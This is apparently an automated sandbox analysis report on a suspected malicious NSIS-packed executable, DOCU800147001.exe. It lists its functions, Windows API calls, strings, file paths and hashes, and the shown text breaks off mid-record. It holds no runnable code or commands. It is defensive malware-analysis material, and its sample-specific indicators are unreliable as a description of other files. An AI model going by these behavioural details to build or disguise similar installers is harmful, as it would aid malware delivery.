Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds$C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll$ExecToStack$error
API String ID: 1941528284-478207605
Opcode ID: 62498af3186e5d7a4317b127f62fbcb2664a9f9e23df6de8b5d8142ed52635d7
Instruction ID: a6908968e7e0a660026174725ff56955a6f1faca608fb57c98e9df4a9bbbb5a6
Opcode Fuzzy Hash: 62498af3186e5d7a4317b127f62fbcb2664a9f9e23df6de8b5d8142ed52635d7
Instruction Fuzzy Hash: 5841D771904618BADB107BB5CC45DAF3A79EF42369F20833BF422B10E2C73C5A419A6D

Function 00404E65 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Completed,00000000,0078EAA8,007890A8,?,?,?,?,?,?,?,?,?,00402F9E,00000000,?), ref: 00404E9E
lstrlenA.KERNEL32(00402F9E,Completed,00000000,0078EAA8,007890A8,?,?,?,?,?,?,?,?,?,00402F9E,00000000), ref: 00404EAE
lstrcatA.KERNEL32(Completed,00402F9E,00402F9E,Completed,00000000,0078EAA8,007890A8), ref: 00404EC1
SetWindowTextA.USER32(Completed,Completed), ref: 00404ED3
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404EF9
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F13
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F21

Strings

Completed, xrefs: 00404E85, 00404E97, 00404E9D, 00404EC0, 00404ECC

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Completed
API String ID: 2531174081-3087654605
Opcode ID: 933784eb7198931abdf335ddeca554807fb146d71386ffc1ced885ec7dbc7604
Instruction ID: f74adcbe277517a17f303532725ec1791e789a00cb50e63f9a7244524c8ab7df
Opcode Fuzzy Hash: 933784eb7198931abdf335ddeca554807fb146d71386ffc1ced885ec7dbc7604
Instruction Fuzzy Hash: A3219DB1900118BEDB119FA5DD849DFBFB9EF45354F14807AF504B6291C6389E40CBA8

Function 00402E64 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402EC6
GetTickCount.KERNEL32 ref: 00402F4D
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402F7A
wsprintfA.USER32 ref: 00402F8A
WriteFile.KERNELBASE(00000000,00000000,0078EAA8,7FFFFFFF,00000000), ref: 00402FB8

Strings

... %d%%, xrefs: 00402F84

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: 1795076decc1ce6f37a3ba71e83596e3ad7db5dc1ea6cebba5f0826b95c15386
Instruction ID: a1131f75f2d1942715029d12413e0120ad3f5e0bd8d3acfe7200d6871225b0cc
Opcode Fuzzy Hash: 1795076decc1ce6f37a3ba71e83596e3ad7db5dc1ea6cebba5f0826b95c15386
Instruction Fuzzy Hash: F4515A7190121AABCF10DF69DA48A9F7BB8BB04355F14413BF900B72C4C7789E50DBAA

Function 00401F68 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401F93

Part of subcall function 00404E65: lstrlenA.KERNEL32(Completed,00000000,0078EAA8,007890A8,?,?,?,?,?,?,?,?,?,00402F9E,00000000,?), ref: 00404E9E
Part of subcall function 00404E65: lstrlenA.KERNEL32(00402F9E,Completed,00000000,0078EAA8,007890A8,?,?,?,?,?,?,?,?,?,00402F9E,00000000), ref: 00404EAE
Part of subcall function 00404E65: lstrcatA.KERNEL32(Completed,00402F9E,00402F9E,Completed,00000000,0078EAA8,007890A8), ref: 00404EC1
Part of subcall function 00404E65: SetWindowTextA.USER32(Completed,Completed), ref: 00404ED3
Part of subcall function 00404E65: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404EF9
Part of subcall function 00404E65: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F13
Part of subcall function 00404E65: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F21

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FA3
GetProcAddress.KERNEL32(00000000,?), ref: 00401FB3
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040201D

Strings

error, xrefs: 00401FE7

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID: error
API String ID: 2987980305-1574812785
Opcode ID: daf8f493f50fe6af5241a246699056680acc54043a3a15048780450689c6adc2
Instruction ID: 69b9336aaa8ae6558f820ae1f090152185eb0d0d08fc7590899cf316edf80682
Opcode Fuzzy Hash: daf8f493f50fe6af5241a246699056680acc54043a3a15048780450689c6adc2
Instruction Fuzzy Hash: 7021EB72904215ABDF107FA4CE4DA6E79B0AB44358F24423BF611B62D0D7BC4942EA5E

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004056A3: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,?,0040570F,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,?,?,76233410,0040545A,?,C:\Users\user\AppData\Local\Temp\,76233410,00000000), ref: 004056B1
Part of subcall function 004056A3: CharNextA.USER32(00000000), ref: 004056B6
Part of subcall function 004056A3: CharNextA.USER32(00000000), ref: 004056CA

CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds, xrefs: 00401617

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds
API String ID: 3751793516-2159730412
Opcode ID: 07d7fbb98cc222dbf4f850f848f42c99798dc9f07bdd3088a9de5fa57da8bac3
Instruction ID: fe130fe747d7612bd359b5bee5f77481d56b475851a7b43d3d194bb92abb4f34
Opcode Fuzzy Hash: 07d7fbb98cc222dbf4f850f848f42c99798dc9f07bdd3088a9de5fa57da8bac3
Instruction Fuzzy Hash: AF112531908150ABDB116F751D4496F37B0AA62366728073FF492B22E2C23C0942962E

Function 0040583A Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040584E
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405868

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040583D, 00405841
"C:\Users\user\Desktop\DOCU800147001.exe", xrefs: 0040583A
nsa, xrefs: 00405845

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\DOCU800147001.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-828672664
Opcode ID: 165f25902c12276048ad14c3faa9af412f6aa489c6d0a6d50344be84ac3f20e0
Instruction ID: 52717d4cd68eb3ad2d5284e259dd09d89c77f45c9904e037c47a6ea27e695b51
Opcode Fuzzy Hash: 165f25902c12276048ad14c3faa9af412f6aa489c6d0a6d50344be84ac3f20e0
Instruction Fuzzy Hash: 24F05E366482086BDB109E56DC44F9A7B98DB95750F14C02AFE44AA180D6B0D9648B99

Function 00402A3F Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,00000000,?), ref: 00402A60
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A9C
RegCloseKey.ADVAPI32(?), ref: 00402AA5
RegCloseKey.ADVAPI32(?), ref: 00402ACA
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402AE8

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: ffc85435ca1e250b947e4d621e093e90361a198f70964f83faf9214d07e34134
Instruction ID: a469cac220e3dfead07ca09df23e0d0f9d1726d397e4729d51af2cb9ca56ac8c
Opcode Fuzzy Hash: ffc85435ca1e250b947e4d621e093e90361a198f70964f83faf9214d07e34134
Instruction Fuzzy Hash: 60116D31A04148FFDF219F90DE48EAF7B79EB44344F104176FA06A01A0D7B49E51AF59

Function 0040231E Relevance: 6.1, APIs: 4, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040235C
lstrlenA.KERNEL32(00409B98,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040237C
RegSetValueExA.ADVAPI32(?,?,?,?,00409B98,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004023B5
RegCloseKey.ADVAPI32(?,?,?,00409B98,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402492

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 06ffb2ec8a7ae9750d02349d6064bbde1cb5da702843f6e69b8d1a4e1f770987
Instruction ID: d4937ef9b5a83c2972188be2a0d5841753625f31b596684550d6a8464bef8130
Opcode Fuzzy Hash: 06ffb2ec8a7ae9750d02349d6064bbde1cb5da702843f6e69b8d1a4e1f770987
Instruction Fuzzy Hash: 34117FB1E00118BFEB10EBA4DE8AEAF767CFB50358F10413AF905B61D1D6B85D41A668

Function 0040532D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,0079FD00,Error launching installer), ref: 00405352
CloseHandle.KERNEL32(?), ref: 0040535F

Strings

Error launching installer, xrefs: 00405340

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 645e93c5bb495a6f28651f45d9e8b18c91c15bb40d9c9ce812c265225a9d5b21
Instruction ID: 704f217b0c1b6eb60c5a067d09c70ef836417bf4f65591a609eb3a14675a7da7
Opcode Fuzzy Hash: 645e93c5bb495a6f28651f45d9e8b18c91c15bb40d9c9ce812c265225a9d5b21
Instruction Fuzzy Hash: 55E0ECB4A00209BBEB009F64EC0996FBBBCFB04344B048531E910E2250D778E4108AB9

Function 00403097 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405DE5: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\DOCU800147001.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 00405E3D
Part of subcall function 00405DE5: CharNextA.USER32(?,?,?,00000000), ref: 00405E4A
Part of subcall function 00405DE5: CharNextA.USER32(?,"C:\Users\user\Desktop\DOCU800147001.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 00405E4F
Part of subcall function 00405DE5: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 00405E5F

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 004030B8

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403098, 0040309D, 004030A3, 004030AF, 004030B7, 004030BE
1033, xrefs: 004030BF

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-3512041753
Opcode ID: 30d046a58fc0be9d4103ba1aeb580eff37f53929913a4ade3c81043231ead311
Instruction ID: ea5cc8e1fe03df48a2deef22c0a6e0afb1540a3998a3053c1cd1c9b1fd1a59a7
Opcode Fuzzy Hash: 30d046a58fc0be9d4103ba1aeb580eff37f53929913a4ade3c81043231ead311
Instruction Fuzzy Hash: 8CD0C92290AD3121D59237663C0AFCF095C9F9735EB019177F419740C65A6D1A8249EF

Function 00401E32 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404E65: lstrlenA.KERNEL32(Completed,00000000,0078EAA8,007890A8,?,?,?,?,?,?,?,?,?,00402F9E,00000000,?), ref: 00404E9E
Part of subcall function 00404E65: lstrlenA.KERNEL32(00402F9E,Completed,00000000,0078EAA8,007890A8,?,?,?,?,?,?,?,?,?,00402F9E,00000000), ref: 00404EAE
Part of subcall function 00404E65: lstrcatA.KERNEL32(Completed,00402F9E,00402F9E,Completed,00000000,0078EAA8,007890A8), ref: 00404EC1
Part of subcall function 00404E65: SetWindowTextA.USER32(Completed,Completed), ref: 00404ED3
Part of subcall function 00404E65: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404EF9
Part of subcall function 00404E65: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F13
Part of subcall function 00404E65: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F21

Part of subcall function 0040532D: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,0079FD00,Error launching installer), ref: 00405352
Part of subcall function 0040532D: CloseHandle.KERNEL32(?), ref: 0040535F

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E6C
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E7C
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EA1

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: 7925bea5e642960b0f97787477d610df41be1d64d665cf53514c4a0e3087d079
Instruction ID: 9699cf0a6c97e1698ecba8eb95fa3f921ed053e19654e9fc7eefe6a52c881a96
